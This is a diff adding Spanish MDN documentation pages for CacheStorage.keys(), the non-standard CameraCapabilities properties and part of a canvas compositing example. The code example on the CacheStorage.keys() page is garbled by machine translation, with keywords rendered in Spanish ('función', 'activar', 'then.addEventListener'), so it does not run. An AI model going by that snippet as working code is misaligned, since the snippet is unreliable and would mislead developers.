+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cachestorage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CacheStorage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/es/web/api/cachestorage/keys/index.html b/files/es/web/api/cachestorage/keys/index.html
new file mode 100644
index 0000000000..eee8e0e443
--- /dev/null
+++ b/files/es/web/api/cachestorage/keys/index.html
@@ -0,0 +1,74 @@
+---
+title: CacheStorage.keys()
+slug: Web/API/CacheStorage/keys
+translation_of: Web/API/CacheStorage/keys
+---
+<p><font><font>{{APIRef ("API de Service Workers")}}</font></font></p>
+
+<p><span class="seoSummary"><font><font>El </font></font><code><strong>keys</strong></code><strong><code>()</code></strong><font><font>método de la interfaz {{domxref ("CacheStorage")}} devuelve un {{jsxref ("Promise")}} que se resolverá con una matriz que contiene las cadenas correspondientes a todos los {{domxref ("Cache")}} objetos rastreados por el objeto {{domxref ("CacheStorage")}} en el orden en que fueron creados. </font><font>Use este método para iterar sobre una lista de todos los objetos {{domxref ("Cache")}}.</font></font></span></p>
+
+<p><font><font>Puede acceder a </font></font><code>CacheStorage</code><font><font>través de la propiedad global {{domxref ("WindowOrWorkerGlobalScope.caches", "caches")}}.</font></font></p>
+
+<h2 id="Sintaxis"><font><font>Sintaxis</font></font></h2>
+
+<pre class="syntaxbox notranslate"><font><font>caches.keys().then(function(</font></font><em><font><font>keyList</font></font></em><font><font>) {</font></font><font><font>
+  // haz algo con tu keyList</font></font><font><font>
+});</font></font>
+</pre>
+
+<h3 id="Parámetros"><font><font>Parámetros</font></font></h3>
+
+<p><font><font>Ninguna.</font></font></p>
+
+<h3 id="Valor_de_retorno"><font><font>Valor de retorno</font></font></h3>
+
+<p>a {{jsxref("Promise")}} that resolves with an array of the {{domxref("Cache")}} names inside the {{domxref("CacheStorage")}} object.</p>
+
+<h2 id="Examples" style="line-height: 30px; font-size: 2.14285714285714rem;">Examples</h2>
+
+<p>In this code snippet we wait for an {{domxref("ServiceWorkerGlobalScope.onactivate", "activate")}} event, and then run a {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} block that clears up any old, unused caches before a new service worker is activated. Here we have a whitelist containing the names of the caches we want to keep (<code>cacheWhitelist</code>). We return the keys of the caches in the {{domxref("CacheStorage")}} object using <code>keys()</code>, then check each key to see if it is in the whitelist. If not, we delete it using {{domxref("CacheStorage.delete()")}}.</p>
+
+<pre class="brush: js notranslate"><font><font><font><font>then.addEventListener('activar', función (evento) { </font></font></font></font><font><font><font><font>
+  var cacheWhitelist = ['v2']; </font></font></font></font>
+<font><font><font><font>
+  event.waitUntil( </font></font></font></font><font><font><font><font>
+    caches.keys().then(function(keyList) { </font></font></font></font><font><font><font><font>
+      return Promise.all(keyList.map(function(key) {</font></font></font></font><font><font>
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(<font><font>key</font></font>);
+        }
+      });
+    })</font></font><font><font>
+  );</font></font><font><font>
+});</font></font></pre>
+
+<h2 id="Especificaciones"><font><font>Especificaciones</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>Especificación</font></font></th>
+   <th scope="col"><font><font>Estado</font></font></th>
+   <th scope="col"><font><font>Comentario</font></font></th>
+  </tr>
+  <tr>
+   <td><font><font>{{SpecName('Service Workers', '# dom-cachestorage-keys', 'CacheStorage: keys')}}</font></font></td>
+   <td><font><font>{{Spec2 ('Trabajadores de servicio')}}</font></font></td>
+   <td><font><font>Definición inicial</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador"><font><font>Compatibilidad del navegador</font></font></h2>
+
+
+
+<p><font><font>{{Compat("api.CacheStorage.keys")}}</font></font></p>
+
+<h2 id="Ver_también"><font><font>Ver también</font></font></h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers"><font><font>Uso de trabajadores del servicio</font></font></a></li>
+ <li><font><font>{{domxref("Cache")}}</font></font></li>
+ <li><font><font><font><font>{{domxref("WindowOrWorkerGlobalScope.caches")}}</font></font></font></font></li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/effects/index.html b/files/es/web/api/cameracapabilities/effects/index.html
new file mode 100644
index 0000000000..1204fb0c34
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/effects/index.html
@@ -0,0 +1,37 @@
+---
+title: CameraCapabilities.effects
+slug: Web/API/CameraCapabilities/effects
+translation_of: Archive/B2G_OS/API/CameraCapabilities/effects
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>El valor de la propiedad <code>effects</code> en un <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> que identifica los efectos  (tales como <code>normal</code>, <code>sepia</code>, <code>mono</code>, etc.) que soporta la camara.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre>var effects = instanceOfCameraControl.capabilities.effects</pre>
+<h2 id="Valor">Valor</h2>
+<p>Devuelve un <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> de cadenas.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onSuccess(camera) {
+  var effects = camera.capabilities.effects;
+
+  effects.forEach(function (value) {
+    console.log(value)
+  });
+};
+
+navigator.mozCameras.getCamera(options, onSuccess)
+</pre>
+<h2 id="Specification" name="Specification">Especifiacion</h2>
+<p>No forma parte de ninguna especifiacion; en cualquier caso, esta API deberia ser eliminada cuando la <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> haya sido implementada.</p>
+<h2 id="Ver_tambien">Ver tambien</h2>
+<ul>
+ <li>{{domxref("CameraCapabilities")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/fileformats/index.html b/files/es/web/api/cameracapabilities/fileformats/index.html
new file mode 100644
index 0000000000..5193200866
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/fileformats/index.html
@@ -0,0 +1,37 @@
+---
+title: CameraCapabilities.fileFormats
+slug: Web/API/CameraCapabilities/fileFormats
+translation_of: Archive/B2G_OS/API/CameraCapabilities/fileFormats
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Summary">Summary</h2>
+<p>La propiedad <code>fileFormats</code> es un <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> que identifica los formatos de archivo que soporta la camara, tales como <code>jpeg</code>, <code>rgb565</code>, etc.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre>var formats = instanceOfCameraControl.capabilities.fileFormats</pre>
+<h2 id="Valor">Valor</h2>
+<p>Devuelve un <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> de cadenas.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onSuccess(camera) {
+  var formats = camera.capabilities.fileFormats;
+
+  formats.forEach(function (value) {
+    console.log(value)
+  });
+};
+
+navigator.mozCameras.getCamera(options, onSuccess)
+</pre>
+<h2 id="Specification" name="Specification">Especificacion</h2>
+<p>No es parte de ninguna especificacion; en cualquier caso, esta API deberia ser eliminada cuando la <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> haya sido implementada.</p>
+<h2 id="Ver_tambien">Ver tambien</h2>
+<ul>
+ <li>{{domxref("CameraCapabilities")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/flashmodes/index.html b/files/es/web/api/cameracapabilities/flashmodes/index.html
new file mode 100644
index 0000000000..be89eac3ac
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/flashmodes/index.html
@@ -0,0 +1,37 @@
+---
+title: CameraCapabilities.flashModes
+slug: Web/API/CameraCapabilities/flashModes
+translation_of: Archive/B2G_OS/API/CameraCapabilities/flashModes
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad <code>flashModes</code> es un <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> de cadenas que identifican cada modo de flash soportado por la camara. Los posibles valores son <code>auto</code>, <code>off</code>, <code>on</code> o <code>torch</code>.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre>var flash = instanceOfCameraControl.capabilities.flashModes</pre>
+<h2 id="Valor">Valor</h2>
+<p>Devuelve un  <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> de cadenas.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onSuccess(camera) {
+  var flash = camera.capabilities.flashModes;
+
+  flash.forEach(function (value) {
+    console.log(value)
+  });
+};
+
+navigator.mozCameras.getCamera(options, onSuccess)
+</pre>
+<h2 id="Specification" name="Specification">Especifiacion</h2>
+<p>No es parte de ninguna especificacion; en cualquier caso, esta API deberia ser eliminada cuando la <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> haya sido implementada.</p>
+<h2 id="Ver_tambien">Ver tambien</h2>
+<ul>
+ <li>{{domxref("CameraCapabilities")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/index.html b/files/es/web/api/cameracapabilities/index.html
new file mode 100644
index 0000000000..a534b51ab5
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/index.html
@@ -0,0 +1,86 @@
+---
+title: CameraCapabilities
+slug: Web/API/CameraCapabilities
+translation_of: Archive/B2G_OS/API/CameraCapabilities
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<p>The {{domxref("CameraControl.capabilities")}} property returns a <code>CameraCapabilities</code> object, which describes all the camera's capabilities.</p>
+<h2 id="Properties">Properties</h2>
+<dl>
+ <dt>
+  {{domxref("CameraCapabilities.effects")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifying the effects (such as <code>normal</code>, <code>sepia</code>, <code>mono</code>, etc.) that the camera supports.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.fileFormats")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifying the file formats supported by the camera, such as <code>jpeg</code>, <code>rgb565</code>, etc.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.flashModes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifying each of the flash modes supported by the camera. Possible values are <code>auto</code>, <code>off</code>, <code>on</code> or <code>torch</code>.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.focusModes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifying each of the focus modes supported by the camera such as auto, fixed, macro, etc.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.maxExposureCompensation")}} {{readonlyinline}}</dt>
+ <dd>
+  A number that defines the maximum supported exposure compensation value.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.maxFocusAreas")}} {{readonlyinline}}</dt>
+ <dd>
+  A number that defines the maximum number of focus areas supported by the camera.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.maxMeteringAreas")}} {{readonlyinline}}</dt>
+ <dd>
+  A number that defines the maximum number of metering areas supported by the camera.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.minExposureCompensation")}} {{readonlyinline}}</dt>
+ <dd>
+  A number that defines the minimum supported exposure compensation value.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.pictureSizes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of objects containing the <code>height</code> and <code>width</code> properties supported for picture taking.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.previewSizes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of objects containing the <code>height</code> and <code>width</code> properties supported for the video preview stream.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.recorderProfiles")}} {{readonlyinline}}</dt>
+ <dd>
+  An object with attributes for each of the supported recorder profiles.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.sceneModes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifying each of the scene modes supported by the camera such as <code>auto</code>, <code>night</code>, <code>beach</code>, etc.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.stepExposureCompensation")}} {{readonlyinline}}</dt>
+ <dd>
+  A number that defines the exposure compensation minimum step-size.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.videoSizes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of objects containing the <code>height</code> and <code>width</code> properties supported for video recording.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.whiteBalanceModes")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of strings identifiers for each white balance modes supported by the camera such as <code>auto</code>, <code>fluorecent</code>, etc.</dd>
+ <dt>
+  {{domxref("CameraCapabilities.zoomRatios")}} {{readonlyinline}}</dt>
+ <dd>
+  An <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array">Array</a></code> of numbers representing all the supported zoom ratios. If the camera has no zoom capabilities, the value is <code>null</code>.</dd>
+</dl>
+<h2 id="Methods">Methods</h2>
+<p>None.</p>
+<h2 id="Specification">Specification</h2>
+<p>Not part of any specification; however, this API should be removed when the <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> has been implemented.</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{ domxref("CameraControl") }}</li>
+ <li>{{ domxref("CameraManager") }}</li>
+ <li>{{ domxref("window.navigator.mozCameras","navigator.mozCameras") }}</li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/maxexposurecompensation/index.html b/files/es/web/api/cameracapabilities/maxexposurecompensation/index.html
new file mode 100644
index 0000000000..2baf025df3
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/maxexposurecompensation/index.html
@@ -0,0 +1,33 @@
+---
+title: CameraCapabilities.maxExposureCompensation
+slug: Web/API/CameraCapabilities/maxExposureCompensation
+translation_of: Archive/B2G_OS/API/CameraCapabilities/maxExposureCompensation
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad <code>maxExposureCompensation</code> es un número que define el valor máximo de compensación de exposición soportado.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre>var max = instanceOfCameraControl.capabilities.maxExposureCompensation</pre>
+<h2 id="Valor">Valor</h2>
+<p>Devuelve un número.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onSuccess(camera) {
+  console.log(camera.capabilities.maxExposureCompensation);
+};
+
+navigator.mozCameras.getCamera(options, onSuccess)
+</pre>
+<h2 id="Specification" name="Specification">Especificación</h2>
+<p>No forma parte de ninguna especificación; No obstante, esta API debería ser eliminada cuando la <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> haya sido implementada.</p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li>{{domxref("CameraCapabilities")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+</ul>
diff --git a/files/es/web/api/cameracapabilities/maxfocusareas/index.html b/files/es/web/api/cameracapabilities/maxfocusareas/index.html
new file mode 100644
index 0000000000..6d0024bebb
--- /dev/null
+++ b/files/es/web/api/cameracapabilities/maxfocusareas/index.html
@@ -0,0 +1,33 @@
+---
+title: CameraCapabilities.maxFocusAreas
+slug: Web/API/CameraCapabilities/maxFocusAreas
+translation_of: Archive/B2G_OS/API/CameraCapabilities/maxFocusAreas
+---
+<p>{{ Apiref() }}</p>
+<p>{{ non-standard_header() }}</p>
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p>La propiedad <code>maxFocusAreas</code> es un numero que define el numero maximo de areas de foco que permite la camara.</p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre>var max = instanceOfCameraControl.capabilities.maxFocusAreas</pre>
+<h2 id="Valor">Valor</h2>
+<p>Devuelve un numero.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var options = {
+  camera: navigator.mozCameras.getListOfCameras()[0]
+};
+
+function onSuccess(camera) {
+  console.log(camera.capabilities.maxFocusAreas);
+};
+
+navigator.mozCameras.getCamera(options, onSuccess)
+</pre>
+<h2 id="Specification" name="Specification">Especificacion</h2>
+<p>No es parte de ninguna especificacion; en cualquier caso, esta API deberia ser eliminada cuando la  <a class="external" href="http://dev.w3.org/2011/webrtc/editor/getusermedia.html" rel="external" title="http://dev.w3.org/2011/webrtc/editor/getusermedia.html">WebRTC Capture and Stream API</a> haya sido implementada.</p>
+<h2 id="Ver_tambien">Ver tambien</h2>
+<ul>
+ <li>{{domxref("CameraCapabilities")}}</li>
+ <li>{{domxref("CameraControl")}}</li>
+ <li>{{domxref("CameraManager")}}</li>
+</ul>
diff --git a/files/es/web/api/canvas_api/tutorial/compositing/ejemplo/index.html b/files/es/web/api/canvas_api/tutorial/compositing/ejemplo/index.html
new file mode 100644
index 0000000000..b85b83238c
--- /dev/null
+++ b/files/es/web/api/canvas_api/tutorial/compositing/ejemplo/index.html
@@ -0,0 +1,295 @@
+---
+title: Ejemplo de composición
+slug: Web/API/Canvas_API/Tutorial/Compositing/Ejemplo
+tags:
+  - Canvas
+  - Ejemplo
+  - HTML
+  - HTML5
+  - Tutorial
+  - graficos
+translation_of: Web/API/Canvas_API/Tutorial/Compositing/Example
+---
+<div>{{CanvasSidebar}}</div>
+
+<p>Este programa de ejemplo muestra una cantidad de <a href="/es/docs/Web/API/CanvasRenderingContext2D.globalCompositeOperation">operaciones de composición</a>. La salida se ve así:</p>
+
+<p>{{EmbedLiveSample("Ejemplo_de_composición", "100%", 7250)}}</p>
+
+<h2 id="Ejemplo_de_composición">Ejemplo de composición</h2>
+
+<p>Este código establece los valores globales utilizados por el resto del programa.</p>
+
+<pre class="brush: js">var canvas1 = document.createElement("canvas");
+var canvas2 = document.createElement("canvas");
+var gco = [ 'source-over','source-in','source-out','source-atop',
+            'destination-over','destination-in','destination-out','destination-atop',
+            'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken',
+            'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light',
+            'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity'
+          ].reverse();
+var gcoText = [
+'Esta es la configuración predeterminada y dibuja nuevas formas sobre el contenido del canvas existente.',
+'La nueva forma se dibuja solo donde la nueva forma y el canvas de destino se superponen. Todo lo demás se hace transparente.',
+'La nueva forma se dibuja donde no se superpone al contenido del canvas existente.',
+'La nueva forma solo se dibuja donde se solapa con el contenido del canvas existente.',
+'Se dibujan nuevas formas detrás del contenido del canvas existente',
+'El contenido del canvas existente se conserva donde la nueva forma y el contenido del canvas existente se superponen. Todo lo demás se hace transparente.',
+'El contenido existente se mantiene donde no se superpone a la nueva forma.',
+'El canvas existente solo se conserva donde se solapa con la nueva forma. La nueva forma se dibuja detrás del contenido del canvas.',
+'Donde ambas formas se superponen, el color se determina agregando valores de color.',
+'Solo se muestra la nueva forma.',
+'Las formas se hacen transparentes donde ambas se superponen y se dibujan de manera normal en cualquier otro lugar.',
+'Los píxeles de la capa superior se multiplican con el píxel correspondiente de la capa inferior. El resultado es una imagen más oscura. ',
+'Los píxeles están invertidos, multiplicados e invertidos nuevamente. Una imagen más clara es el resultado (opuesto a multiplicar).',
+'Una combinación de multiplicar y pantalla. Las partes oscuras en la capa base se oscurecen y las partes claras se vuelven más claras.',
+'Conserva los píxeles más oscuros de ambas capas.',
+'Conserva los píxeles más claros de ambas capas.',
+'Divide la capa inferior por la capa superior invertida.',
+'Divide la capa inferior invertida por la capa superior, y luego invierte el resultado.',
+'Una combinación de multiplicar y pantalla como superposición, pero con la parte superior y la capa inferior intercambiado.',
+'Una versión más suave de la luz dura. Negro puro o blanco no da como resultado negro o blanco puro.',
+'Resta la capa inferior de la capa superior o viceversa para obtener siempre un valor positivo.',
+'Al igual que la diferencia, pero con menor contraste.',
+'Conserva la luma y el croma de la capa inferior, mientras adopta el tono de la capa superior.',
+'Conserva la luma y el tono de la capa inferior, mientras adopta el croma de la capa superior.',
+'Conserva la luma de la capa inferior, mientras adopta el matiz y el croma de la capa superior.',
+'Conserva el tono y el croma de la capa inferior, mientras adopta la luma de la capa superior.'
+          ].reverse();
+var width = 320;
+var height = 340;
+</pre>
+
+<h3 id="Programa_principal">Programa principal</h3>
+
+<p>Cuando se carga la página, este código se ejecuta para configurar y ejecutar el ejemplo:</p>
+
+<pre class="brush: js">window.onload = function() {
+    // lum en sRGB
+    var lum = {
+        r: 0.33,
+        g: 0.33,
+        b: 0.33
+    };
+    // redimensionar canvas
+    canvas1.width = width;
+    canvas1.height = height;
+    canvas2.width = width;
+    canvas2.height = height;
+    lightMix()
+    colorSphere();
+    runComposite();
+    return;
+};
+</pre>
+
+<p>Y este código, <code>runComposite()</code>, maneja la mayor parte del trabajo, dependiendo de una serie de funciones de utilidad para hacer las partes difíciles.</p>
+
+<pre class="brush: js">function createCanvas() {
+    var canvas = document.createElement("canvas");
+    canvas.style.background = "url("+op_8x8.data+")";
+    canvas.style.border = "1px solid #000";
+    canvas.style.margin = "5px";
+    canvas.width = width/2;
+    canvas.height = height/2;
+    return canvas;
+}
+
+function runComposite() {
+    var dl = document.createElement("dl");
+    document.body.appendChild(dl);
+    while(gco.length) {
+        var pop = gco.pop();
+        var dt = document.createElement("dt");
+        dt.textContent = pop;
+        dl.appendChild(dt);
+        var dd = document.createElement("dd");
+        var p = document.createElement("p");
+        p.textContent = gcoText.pop();
+        dd.appendChild(p);
+
+        var canvasToDrawOn = createCanvas();
+        var canvasToDrawFrom = createCanvas();
+        var canvasToDrawResult = createCanvas();
+
+        var ctx = canvasToDrawResult.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = pop;
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.globalCompositeOperation = "source-over";
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText(pop, 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawOn.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas1, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('existing content', 5, height/2 - 5);
+        ctx.restore();
+
+        var ctx = canvasToDrawFrom.getContext('2d');
+        ctx.clearRect(0, 0, width, height)
+        ctx.save();
+        ctx.drawImage(canvas2, 0, 0, width/2, height/2);
+        ctx.fillStyle = "rgba(0,0,0,0.8)";
+        ctx.fillRect(0, height/2 - 20, width/2, 20);
+        ctx.fillStyle = "#FFF";
+        ctx.font = "14px arial";
+        ctx.fillText('new content', 5, height/2 - 5);
+        ctx.restore();
+
+        dd.appendChild(canvasToDrawOn);
+        dd.appendChild(canvasToDrawFrom);
+        dd.appendChild(canvasToDrawResult);
+
+        dl.appendChild(dd);
+    }
+};
+</pre>
+
+<h3 id="Funciones_de_utilidad">Funciones de utilidad</h3>
+
+<p>El programa se basa en una serie de funciones de utilidad.</p>
+
+<pre class="brush: js">var lightMix = function() {
+    var ctx = canvas2.getContext("2d");
+    ctx.save();
+    ctx.globalCompositeOperation = "lighter";
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(255,0,0,1)";
+    ctx.arc(100, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,0,255,1)";
+    ctx.arc(220, 200, 100, Math.PI*2, 0, false);
+    ctx.fill()
+    ctx.beginPath();
+    ctx.fillStyle = "rgba(0,255,0,1)";
+    ctx.arc(160, 100, 100, Math.PI*2, 0, false);
+    ctx.fill();
+    ctx.restore();
+    ctx.beginPath();
+    ctx.fillStyle = "#f00";
+    ctx.fillRect(0,0,30,30)
+    ctx.fill();
+};
+</pre>
+
+<pre class="brush: js">var colorSphere = function(element) {
+    var ctx = canvas1.getContext("2d");
+    var width = 360;
+    var halfWidth = width / 2;
+    var rotate = (1 / 360) * Math.PI * 2; // por grado
+    var offset = 0; // scrollbar offset
+    var oleft = -20;
+    var otop = -20;
+    for (var n = 0; n &lt;= 359; n ++) {
+        var gradient = ctx.createLinearGradient(oleft + halfWidth, otop, oleft + halfWidth, otop + halfWidth);
+        var color = Color.HSV_RGB({ H: (n + 300) % 360, S: 100, V: 100 });
+        gradient.addColorStop(0, "rgba(0,0,0,0)");
+        gradient.addColorStop(0.7, "rgba("+color.R+","+color.G+","+color.B+",1)");
+        gradient.addColorStop(1, "rgba(255,255,255,1)");
+        ctx.beginPath();
+        ctx.moveTo(oleft + halfWidth, otop);
+        ctx.lineTo(oleft + halfWidth, otop + halfWidth);
+        ctx.lineTo(oleft + halfWidth + 6, otop);
+        ctx.fillStyle = gradient;
+        ctx.fill();
+        ctx.translate(oleft + halfWidth, otop + halfWidth);
+        ctx.rotate(rotate);
+        ctx.translate(-(oleft + halfWidth), -(otop + halfWidth));
+    }
+    ctx.beginPath();
+    ctx.fillStyle = "#00f";
+    ctx.fillRect(15,15,30,30)
+    ctx.fill();
+    return ctx.canvas;
+};
+</pre>
+
+<pre class="brush: js">// HSV (1978) = H: Hue / S: Saturation / V: Value
+Color = {};
+Color.HSV_RGB = function (o) {
+    var H = o.H / 360,
+        S = o.S / 100,
+        V = o.V / 100,
+        R, G, B;
+    var A, B, C, D;
+    if (S == 0) {
+        R = G = B = Math.round(V * 255);
+    } else {
+        if (H &gt;= 1) H = 0;
+        H = 6 * H;
+        D = H - Math.floor(H);
+        A = Math.round(255 * V * (1 - S));
+        B = Math.round(255 * V * (1 - (S * D)));
+        C = Math.round(255 * V * (1 - (S * (1 - D))));
+        V = Math.round(255 * V);
+        switch (Math.floor(H)) {
+            case 0:
+                R = V;
